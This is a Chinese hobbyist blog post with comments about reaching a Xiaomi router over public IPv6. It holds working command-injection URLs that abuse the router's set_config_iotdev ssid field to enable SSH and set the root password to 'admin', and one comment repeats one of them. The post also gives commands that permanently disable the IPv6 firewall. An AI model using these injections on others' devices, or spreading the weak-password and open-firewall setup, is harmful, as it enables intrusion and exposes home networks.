soarli

IPV6公网ip的获取,搞定
前言上次折腾IPV6大约是在一个月前了,捣鼓了一个晚上,最后也没得到想要的结果(手机流量等支持IPV6的场景下直接...
扫描右侧二维码阅读全文
05
2021/05

IPV6公网ip的获取,搞定

前言

上次折腾IPV6大约是在一个月前了,捣鼓了一个晚上,最后也没得到想要的结果(手机流量等支持IPV6的场景下直接访问内网资源,也就是P2P)。
今天突发奇想关了防火墙试一试,顺着这个思路一步步的就成功了!成就感爆棚!

过程

APP

留意到小米Wifi手机端权限比Web端有着更高的权限(功能更全),找到了几个可疑开关,关了之后发现没有效果,于是只好尝试在Web端获取SSH权限操作。

SSH

  1. 登录小米路由管理页面,地址栏 url 里面找到 stok 后面字符串替换掉下面 url 里面的 <STOK>
  2. 复制替换好的 url 到地址栏中然后回车确认
  3. 获取 SSH 权限
http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3B%20nvram%20set%20ssh_en%3D1%3B%20nvram%20commit%3B%20sed%20-i%20's%2Fchannel%3D.*%2Fchannel%3D%5C%22debug%5C%22%2Fg'%20%2Fetc%2Finit.d%2Fdropbear%3B%20%2Fetc%2Finit.d%2Fdropbear%20start%3B
  1. 修改 root 用户密码为 admin
http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3B%20echo%20-e%20'admin%5Cnadmin'%20%7C%20passwd%20root%3B

需要修改为其他密码自行替换 url 中 admin 部分。

  1. 复制上面编辑好的 URL 到浏览器地址栏中,然后回车确认,看到以下提示已经成功了。

好了,已经获取了 SSH 权限,并且修改了 ROOT 用户的登录密码,默认是 admin

输入 root 用户密码后回车确认,看到下图就成功以 root 用户身份登录路由器了。

关闭IPV6防火墙

命令:

ip6tables -F
ip6tables -X
ip6tables -P INPUT ACCEPT
ip6tables -P OUTPUT ACCEPT
ip6tables -P FORWARD ACCEPT

这下外网能Ping通了,但是只要路由器一重启,防火墙还是会自己开启。

  1. /etc/config/firewall 加入:
config include
    option path '/etc/firewall.user'
  1. /etc/firewall.user 加入:
ip6tables -F
ip6tables -X
ip6tables -P INPUT ACCEPT
ip6tables -P OUTPUT ACCEPT
ip6tables -P FORWARD ACCEPT

※第二条中 ip6tables -I forwarding_rule 也能加入 /etc/firewall.user 从而自定义开放端口。

后续

留意到IPV6地址会随着路由器的重启而变化(佬胡说即便不重启也会每天发生变化)。考虑到每一次都进cmd输入ipconfig查看地址太过复杂,干脆整一个能自动获取IPV6地址并自动复制到剪切板的python程序好了,实现如下(需手动安装pyperclip库):

import urllib.request
import subprocess
import socket
import re
import pyperclip

child=subprocess.Popen("ipconfig", shell=True, stdout = subprocess.PIPE)
out=child.communicate();

ipv6_pattern='(([a-f0-9]{1,4}:){7}[a-f0-9]{1,4})'
m=re.findall(ipv6_pattern,str(out));
address=m[1][0]
print(address)
print("已复制到剪切板!\n\n按回车键退出...")
pyperclip.copy(address)
input()

参考资料:

https://www.right.com.cn/forum/forum.php?mod=viewthread&tid=4053486&extra=page%3D1%26filter%3Dtypeid%26typeid%3D44

https://xenwayne.top/tech/182.html

https://zhuanlan.zhihu.com/p/260531160

https://blog.csdn.net/qq840166422/article/details/89553077

最后修改:2021 年 05 月 05 日 03 : 19 PM

5 条评论

  1. Sunshine

    找到方法了,获取SSH权限时,使用这个地址代码http://192.168.31.1/cgi-bin/luci/;stok=/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3B%20nvram%20set%20ssh_en%3D1%3B%20nvram%20commit%3B%20sed%20-i%20's%2Fchannel%3D.*%2Fchannel%3D%5C%22debug%5C%22%2Fg'%20%2Fetc%2Finit.d%2Fdropbear%3B%20%2Fetc%2Finit.d%2Fdropbear%20start%3B

    1. soarli
  2. Sunshine

    你好,请问一下,我得到了{"code":0},但是ssh连接的时候显示Connection refused,有什么办法吗?我的固件是2.0.23

    1. soarli
      @Sunshine

      你好,这个问题我没有遇到过,但可能造成的原因有很多,比如端口号不正确、防火墙限制等。建议向小米售后反馈一下以获得官方的技术支持。

      1. Sunshine
        @soarli

        好的,感谢回复!(๑•̀ㅁ•́ฅ)

发表评论 取消回复